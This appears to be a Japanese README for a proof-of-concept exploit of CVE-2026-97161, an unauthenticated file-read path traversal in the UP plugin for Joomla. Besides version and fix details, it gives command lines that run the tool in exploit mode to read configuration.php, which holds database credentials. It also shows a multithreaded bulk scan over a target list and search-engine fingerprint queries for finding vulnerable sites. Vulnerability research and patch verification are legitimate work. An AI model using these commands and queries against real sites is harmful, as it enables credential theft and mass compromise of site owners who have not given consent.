
CVE-2026-97161 の Python 3 PoC — Joomla 用 UP (Universal Plugin) (lomart.fr)。
CVE-2026-97161 — UP 5.0.0–5.2.0 および 6.0.0–6.0.29 は、AJAX ファイルアクセスハンドラ(特に ajax-view ポップアップローダー)を通じて未認証のパストラバーサル / 任意ファイル読み取り(CWE-22、CWE-284)を引き起こします。攻撃者は configuration.php やその他のサーバーが読み取り可能なファイルを読み取ることができました。CVSS 4.0 9.2 Critical(PR:N)。修正: UP 6.1.0 / 5.2.1。
同じリリースでは、意図されたディレクトリ外への任意のファイル作成も修正されました(同じ CVE ファミリー)。
PoC ページ: https://pocbit.org/pocs/cve-2026-97161
カタログ: https://pocbit.org/pocs/
| 製品 | UP プラグイン (plg_content_up) |
| 影響を受けるバージョン | 5.0.0–5.2.0、6.0.0–6.0.29 |
| 修正済み | 5.2.1、6.1.0 |
| ベクター | com_ajax + UP プラグイン — ajax-view バックエンドへのユーザー制御のファイルパス |
| 影響 | 機密性(configuration.php 経由の DB 認証情報) |
ベンダーは正確なクエリ文字列を公開していません。この PoC は UP をフィンガープリントし、一般的な com_ajax パラメータの形式をプローブするか、ラボでのキャプチャから --ajax-url を使用します。
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --read-probe
python poc.py -u https://joomla.example --mode exploit --read-probe
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&plugin=up&..."
python poc.py --list targets.example.txt --mode check --read-probe -j 8
body="plugins/content/up"
body="com_ajax" "up.lomart"
CVE-2026-97161 PoC: Joomla UP (lomart.fr) の ajax-view 経由の未認証パストラバーサル / ファイル読み取り(≤6.0.29)。プラグインを検出し、configuration.php をプローブします。PoCbit
CVE-2026-97161: UP プラグインにおけるセッション不要のファイル読み取り(パストラバーサル)。6.1.0 / 5.2.1 で修正されました。
許可されたテストのみ。--read-probe はターゲット上の機密ファイルの読み取りを試みます。